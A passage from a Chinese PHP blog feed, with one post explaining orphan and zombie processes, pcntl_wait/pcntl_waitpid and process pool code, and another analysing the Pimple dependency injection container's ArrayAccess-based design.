PHP_EOL;</span><br><span class="line"> }</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"fork error."</span> . PHP_EOL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这样的话,前2秒,父进程还在,后面父进程就结束了,那么子进程都会被变成孤儿进程然后被systemd收起</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/ec97b8954df74.png" alt="Snipaste_2021-06-13_12-28-26.png"></p><p>可以看到后面的pid都变成1</p><h3 id="僵尸进程"><a href="#僵尸进程" class="headerlink" title="僵尸进程"></a>僵尸进程</h3><blockquote><p>僵尸进程是指父进程在fork出子进程,而后子进程在结束后,父进程并没有调用wait或者waitpid等完成对其清理善后工作,导致改子进程进程ID、文件描述符等依然保留在系统中,极大浪费了系统资源。所以,僵尸进程是对系统有危害的,而孤儿进程则相对来说没那么严重。</p></blockquote><p>刚刚我们前面演示的代码,就会造成僵尸进程,查一下看看</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/4b0da5a258a7e.png" alt="Snipaste_2021-06-13_12-21-18.png"></p><p>可以看到有非常多状态为 z或者Z 的进程为僵尸进程</p><h3 id="pcntl-wait和pcntl-waitpid"><a href="#pcntl-wait和pcntl-waitpid" class="headerlink" title="pcntl_wait和pcntl_waitpid"></a>pcntl_wait和pcntl_waitpid</h3><h4 id="pcntl-wait"><a href="#pcntl-wait" class="headerlink" title="pcntl_wait"></a>pcntl_wait</h4><blockquote><p>这个函数的作用就是 “ 等待或者返回子进程的状态 ”,当父进程执行了该函数后,就会阻塞挂起等待子进程的状态一直等到子进程已经由于某种原因退出或者终止。换句话说就是如果子进程还没结束,那么父进程就会一直等等等,如果子进程已经结束,那么父进程就会立刻得到子进程状态。这个函数返回退出的子进程的进程ID或者失败返回-1。</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="comment">/** <span class="doctag">@noinspection</span> ALL */</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$pid</span> = <span class="title function_ invoke__">pcntl_fork</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$pid</span> > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'父进程id:'</span> . <span class="title function_ invoke__">getmypid</span>() . PHP_EOL;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 返回$wait_result,就是子进程的进程号,如果子进程已经是僵尸进程则为0</span></span><br><span class="line"> <span class="comment">// 子进程状态则保存在了$status参数中,可以通过pcntl_wexitstatus()等一系列函数来查看$status的状态信息是什么</span></span><br><span class="line"> <span class="variable">$wait_result</span> = <span class="title function_ invoke__">pcntl_wait</span>(<span class="variable">$status</span>);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'回收子进程id:'</span> . <span class="variable">$wait_result</span> . PHP_EOL;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 让主进程休息60秒钟</span></span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">60</span>);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="number">0</span> == <span class="variable">$pid</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'子进程id:'</span> . <span class="title function_ invoke__">getmypid</span>() . PHP_EOL;</span><br><span class="line"> <span class="comment">// 让子进程休息10秒钟,但是进程结束后,父进程不对子进程做任何处理工作,这样这个子进程就会变成僵尸进程</span></span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">10</span>);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">exit</span>(<span class="string">'fork error.'</span> . PHP_EOL);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/bd9d20ca1a467.png" alt="Snipaste_2021-06-13_12-42-41.png"></p><p>执行结果,可以看出,父进程会一直等待子进程结束(阻塞),结束后会进程回收,就避免了僵尸进程的产生</p><h4 id="pcntl-waitpid"><a href="#pcntl-waitpid" class="headerlink" title="pcntl_waitpid"></a>pcntl_waitpid</h4><blockquote><p>pcntl_waitpid( $pid, &$status, $option = 0 )的第三个参数如果设置为WNOHANG,那么父进程不会阻塞一直等待到有子进程退出或终止,否则将会和pcntl_wait()的表现类似。</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="comment">/** <span class="doctag">@noinspection</span> ALL */</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$pid</span> = <span class="title function_ invoke__">pcntl_fork</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$pid</span> > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'父进程id:'</span> . <span class="title function_ invoke__">getmypid</span>() . PHP_EOL;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 返回值保存在$wait_result中</span></span><br><span class="line"> <span class="comment">// $pid参数表示 子进程的进程ID</span></span><br><span class="line"> <span class="comment">// 子进程状态则保存在了参数$status中</span></span><br><span class="line"> <span class="comment">// 将第三个option参数设置为常量WNOHANG,则可以避免主进程阻塞挂起,此处父进程将立即返回继续往下执行剩下的代码</span></span><br><span class="line"> <span class="variable">$wait_result</span> = <span class="title function_ invoke__">pcntl_waitpid</span>(<span class="variable">$pid</span>, <span class="variable">$status</span>, WNOHANG);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'回收子进程id:'</span> . <span class="variable">$wait_result</span> . PHP_EOL;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"不阻塞,运行到这里"</span>.PHP_EOL;</span><br><span class="line"> <span class="comment">// 让主进程休息60秒钟</span></span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">60</span>);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="number">0</span> == <span class="variable">$pid</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'子进程id:'</span> . <span class="title function_ invoke__">getmypid</span>() . PHP_EOL;</span><br><span class="line"> <span class="comment">// 让子进程休息10秒钟,但是进程结束后,父进程不对子进程做任何处理工作,这样这个子进程就会变成僵尸进程</span></span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">10</span>);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">exit</span>(<span class="string">'fork error.'</span> . PHP_EOL);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行结果,可以看出,父进程并没有等待子进程的状态,避免了非阻塞挂起</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/8813a8ebcd819.png" alt="Snipaste_2021-06-13_12-49-17.png"></p><h3 id="简单的进程池示例"><a href="#简单的进程池示例" class="headerlink" title="简单的进程池示例"></a>简单的进程池示例</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><?php /** @noinspection ALL */</span><br><span class="line"></span><br><span class="line">define('PROCESS_COUNT', 4);</span><br><span class="line"></span><br><span class="line">$pidMap = [];</span><br><span class="line"></span><br><span class="line">while (true) {</span><br><span class="line"> $pid = pcntl_fork();</span><br><span class="line"> if ($pid < 0) {</span><br><span class="line"> echo "[Parent] Fork failed" . PHP_EOL;</span><br><span class="line"> exit(1);</span><br><span class="line"> } elseif ($pid > 0) {</span><br><span class="line"> // 记录创建的子进程数</span><br><span class="line"> $pidMap[$pid] = true;</span><br><span class="line"> echo "[Parent] New Process {$pid}" . PHP_EOL;</span><br><span class="line"> if (count($pidMap) === PROCESS_COUNT) {</span><br><span class="line"> // 如果进程数达到最大值,进行子进程等等,并回收</span><br><span class="line"> $pid = pcntl_wait($status);</span><br><span class="line"> echo sprintf("[Parent] Process %s exit with status %d, signal=%d" . PHP_EOL, $pid, pcntl_wexitstatus($status), pcntl_wtermsig($status));</span><br><span class="line"> unset($pidMap[$pid]);</span><br><span class="line"> }</span><br><span class="line"> } else {</span><br><span class="line"> echo sprintf("[Child %d] running" . PHP_EOL, getmypid());</span><br><span class="line"> sleep(mt_rand(1, 30));</span><br><span class="line"> echo sprintf("[Child %d] exit(%d)" . PHP_EOL, getmygid(), $exStatus = mt_rand(0, 255));</span><br><span class="line"> exit($exStatus);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="完整的进程池示例"><a href="#完整的进程池示例" class="headerlink" title="完整的进程池示例"></a>完整的进程池示例</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><?php /** @noinspection ALL */</span><br><span class="line"></span><br><span class="line">class Process</span><br><span class="line">{</span><br><span class="line"> protected $pid;</span><br><span class="line"></span><br><span class="line"> public function __construct(callable $callable, string $name = null)</span><br><span class="line"> {</span><br><span class="line"> $pid = pcntl_fork();</span><br><span class="line"> if ($pid < 0) {</span><br><span class="line"> throw new Exception(pcntl_strerror(pcntl_get_last_error(), pcntl_get_last_error()));</span><br><span class="line"> } else {</span><br><span class="line"> if ($pid > 0) {</span><br><span class="line"> echo "[Parent] New Process {$pid}" . PHP_EOL;</span><br><span class="line"> $this->pid = $pid;</span><br><span class="line"> } else {</span><br><span class="line"> if ($name) {</span><br><span class="line"> }</span><br><span class="line"> $this->pid = getmypid();</span><br><span class="line"> echo sprintf("[Child %d] running" . PHP_EOL, $this->pid);</span><br><span class="line"> $exitStatus = $callable();</span><br><span class="line"> echo sprintf("[Child %d] exit(%d)" . PHP_EOL, $this->pid, $exitStatus);</span><br><span class="line"> exit($exitStatus);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getPid(): int</span><br><span class="line"> {</span><br><span class="line"> return $this->pid;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function kill(int $signal = SIGTERM): void</span><br><span class="line"> {</span><br><span class="line"> if (!posix_kill($this->pid, $signal)) {</span><br><span class="line"> throw new Exception(sprintf("Kill(%d, %d) fail, reason: %s"), $this->getPid(), $signal, posix_strerror(posix_get_last_error()));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public static function setName(string $name)</span><br><span class="line"> {</span><br><span class="line"> if (function_exists('cli_set_process_title') && PHP_OS_FAMILY !== 'Darwin') {</span><br><span class="line"> cli_set_process_title($name);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class ProcessPool</span><br><span class="line">{</span><br><span class="line"> protected $pool = [];</span><br><span class="line"> protected $idMap = [];</span><br><span class="line"> protected $callable;</span><br><span class="line"> protected $count;</span><br><span class="line"></span><br><span class="line"> public function __construct(callable $callable, int $count)</span><br><span class="line"> {</span><br><span class="line"> $this->callable = $callable;</span><br><span class="line"> $this->count = $count;</span><br><span class="line"> Process::setName('Parent');</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function run()</span><br><span class="line"> {</span><br><span class="line"> for ($id = 0; $id < $this->count; $id++) {</span><br><span class="line"> $this->createProcess($id);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> while (true) {</span><br><span class="line"> $pid = pcntl_wait($status);</span><br><span class="line"> echo sprintf("[Parent] Process %s exit with status %d, signal=%d" . PHP_EOL, $pid, pcntl_wexitstatus($status), pcntl_wtermsig($status));</span><br><span class="line"> unset($this->pool[$pid]);</span><br><span class="line"> $id = $this->idMap[$pid];</span><br><span class="line"> unset($this->idMap[$pid]);</span><br><span class="line"> $this->createProcess($id);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> protected function createProcess(int $id)</span><br><span class="line"> {</span><br><span class="line"> $process = new Process($this->callable, "Child-{$id}");</span><br><span class="line"> $this->pool[$process->getPid()] = $process;</span><br><span class="line"> $this->idMap[$process->getPid()] = $id;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$processPool = new ProcessPool(function () {</span><br><span class="line"> sleep(mt_rand(1, 30));</span><br><span class="line">}, 4);</span><br><span class="line">$processPool->run();</span><br></pre></td></tr></table></figure><h2 id="参考代码"><a href="#参考代码" class="headerlink" title="参考代码"></a>参考代码</h2><p><a href="https://github.com/lihq1403/gadget/tree/master/codeSnippet/pcntl">https://github.com/lihq1403/gadget/tree/master/codeSnippet/pcntl</a></p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>Pimple 浅析</title>
<link href="https://blog.lihq.xyz/2021/01/07/pimple-read/"/>
<id>https://blog.lihq.xyz/2021/01/07/pimple-read/</id>
<published>2021-01-07T14:57:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="Pimple-浅析"><a href="#Pimple-浅析" class="headerlink" title="Pimple 浅析"></a>Pimple 浅析</h1><blockquote><p>最近项目里面要封装一些composer包,在查询资料的过程中,发现了牛逼的项目,强啊!<a href="https://github.com/silexphp/Pimple">Github</a></p></blockquote><h2 id="Pimple"><a href="#Pimple" class="headerlink" title="Pimple"></a>Pimple</h2><p>官方的介绍就一句话:Pimple - 一个简单的 PHP 依赖注入容器;哈哈哈,果然简介也很简单,接下来看看源码,先从简单的1.x看起</p><h3 id="ArrayAccess"><a href="#ArrayAccess" class="headerlink" title="ArrayAccess"></a>ArrayAccess</h3><p>看pimple的时候,就不得不提到一个常用的接口<a href="https://www.php.net/manual/zh/class.arrayaccess.php">ArrayAccess</a>,提供像访问数组一样访问对象的能力的接口。</p><p>举个例子</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">class ArrayAccessObj implements ArrayAccess</span><br><span class="line">{</span><br><span class="line"> private $container = [];</span><br><span class="line"></span><br><span class="line"> public function __construct()</span><br><span class="line"> {</span><br><span class="line"> $this->container = [</span><br><span class="line"> 'one' => 1,</span><br><span class="line"> 'two' => 2,</span><br><span class="line"> 'three' => 3,</span><br><span class="line"> ];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 检查一个偏移位置是否存在.</span><br><span class="line"> * @param mixed $offset</span><br><span class="line"> * @return bool</span><br><span class="line"> */</span><br><span class="line"> public function offsetExists($offset)</span><br><span class="line"> {</span><br><span class="line"> return isset($this->container[$offset]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 获取一个偏移位置的值</span><br><span class="line"> * @param mixed $offset</span><br><span class="line"> * @return mixed</span><br><span class="line"> */</span><br><span class="line"> public function offsetGet($offset)</span><br><span class="line"> {</span><br><span class="line"> return $this->container[$offset] ?? null;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 设置一个偏移位置的值</span><br><span class="line"> * @param mixed $offset</span><br><span class="line"> * @param mixed $value</span><br><span class="line"> */</span><br><span class="line"> public function offsetSet($offset, $value)</span><br><span class="line"> {</span><br><span class="line"> $this->container[$offset] = $value;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> /**</span><br><span class="line"> * 复位一个偏移位置的值</span><br><span class="line"> * @param mixed $offset</span><br><span class="line"> */</span><br><span class="line"> public function offsetUnset($offset)</span><br><span class="line"> {</span><br><span class="line"> unset($this->container[$offset]);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$foo = new ArrayAccessObj();</span><br><span class="line"></span><br><span class="line">var_dump($foo['one']); // int(1)</span><br><span class="line">unset($foo['one']);</span><br><span class="line">var_dump($foo['one']); // NULL</span><br><span class="line">$foo['four'] = 4;</span><br><span class="line">var_dump($foo['four']); // int(4)</span><br></pre></td></tr></table></figure><p>那么你会获得结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">NULL</span><br><span class="line">int(4)</span><br></pre></td></tr></table></figure><p>简单的总结一下啦:</p><ul><li>类实现了ArrayAccess接口,那么这个类的对象就可以使用$foo[‘xxx’]这种结构了。</li><li>$foo[‘xxx’] 对应调用offsetGet方法。</li><li>$foo[‘xxx’] = ‘yyy’ 对应调用offsetSet方法。</li><li>isset($foo[‘xxx’]) 对应调用offsetExists方法。</li><li>unset($foo[‘xxx’]) 对应调用offsetUnset方法。</li></ul><p>比如我将offsetGet改写成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public function offsetGet($offset)</span><br><span class="line">{</span><br><span class="line"> echo '进入offsetGet方法,参数为:' . $offset . PHP_EOL;</span><br><span class="line"> return $this->container[$offset] ?? null;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么结果将会变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">进入offsetGet方法,参数为:one</span><br><span class="line">int(1)</span><br><span class="line">进入offsetGet方法,参数为:one</span><br><span class="line">NULL</span><br><span class="line">进入offsetGet方法,参数为:four</span><br><span class="line">int(4)</span><br></pre></td></tr></table></figure><p>果然,ArrayAccess并没有限制你的想象,只要在定义的几个实现中完成你自己的天马行空,哈哈哈</p><h3 id="闭包和匿名函数"><a href="#闭包和匿名函数" class="headerlink" title="闭包和匿名函数"></a>闭包和匿名函数</h3><p>都开始php8了,大家应该都知道这<a href="https://www.cnblogs.com/liluxiang/p/9499298.html">是啥</a>了吧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$closure = function ($name) {</span><br><span class="line"> return 'Hello ' . $name;</span><br><span class="line">};</span><br><span class="line">echo $closure('Lihq');//Hello Lihq</span><br><span class="line">var_dump(method_exists($closure, '__invoke'));//true</span><br></pre></td></tr></table></figure><h2 id="1-x"><a href="#1-x" class="headerlink" title="1.x"></a>1.x</h2><blockquote><p>Pimple是一个用于PHP 5.3的小型依赖项注入容器,它仅由一个文件和一个类(约80行代码)组成。</p></blockquote><p>通过ArrayAccess、闭包、匿名函数的结合,创造了一个艺术品。<a href="https://github.com/silexphp/Pimple/tree/1.1">源码很简单的</a></p><h3 id="定义参数"><a href="#定义参数" class="headerlink" title="定义参数"></a>定义参数</h3><p>存入与读取,仅仅用到了ArrayAccess</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line">$container['bar'] = 'foo';</span><br><span class="line">var_dump($container['bar']); // string(3) "foo"</span><br></pre></td></tr></table></figure><h3 id="定义服务"><a href="#定义服务" class="headerlink" title="定义服务"></a>定义服务</h3><p>使用匿名函数定义服务类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">class Service</span><br><span class="line">{</span><br><span class="line"> public function bar()</span><br><span class="line"> {</span><br><span class="line"> return 'bar';</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line">$container['service'] = function () {</span><br><span class="line"> return new Service();</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">/** @var Service $service */</span><br><span class="line">$service = $container['service'];</span><br><span class="line">echo $service->bar(); // bar</span><br></pre></td></tr></table></figure><h3 id="定义共享服务"><a href="#定义共享服务" class="headerlink" title="定义共享服务"></a>定义共享服务</h3><p>这样实例过的服务类就不会再次实例了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">class Service</span><br><span class="line">{</span><br><span class="line"> public function __construct()</span><br><span class="line"> {</span><br><span class="line"> echo 'share仅调用一次实例' . PHP_EOL;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function bar()</span><br><span class="line"> {</span><br><span class="line"> return 'bar';</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line"></span><br><span class="line">$container['service'] = $container->share(function () {</span><br><span class="line"> return new Service();</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">/** @var Service $service */</span><br><span class="line">$service = $container['service']; // share仅调用一次实例</span><br><span class="line">echo $service->bar() . PHP_EOL; // bar</span><br><span class="line"></span><br><span class="line">/** @var Service $service */</span><br><span class="line">$service = $container['service']; // 再次获取不会重新new</span><br><span class="line">echo $service->bar() . PHP_EOL; // bar</span><br></pre></td></tr></table></figure><h3 id="保护参数"><a href="#保护参数" class="headerlink" title="保护参数"></a>保护参数</h3><p>原汁原味的匿名函数保护,没有被保护的会直接执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line"></span><br><span class="line">$container['bar'] = function () {</span><br><span class="line"> return 'bar';</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$container['foo'] = $container->protect(function () {</span><br><span class="line"> return 'foo';</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">var_dump($container['bar']); // string(3) "bar"</span><br><span class="line">var_dump($container['foo']); // object(Closure)#4 (0) {}</span><br><span class="line">var_dump($container['foo']()); // string(3) "foo"</span><br></pre></td></tr></table></figure><h3 id="扩展服务"><a href="#扩展服务" class="headerlink" title="扩展服务"></a>扩展服务</h3><p>可以在原服务的基础上,进行功能修改</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . 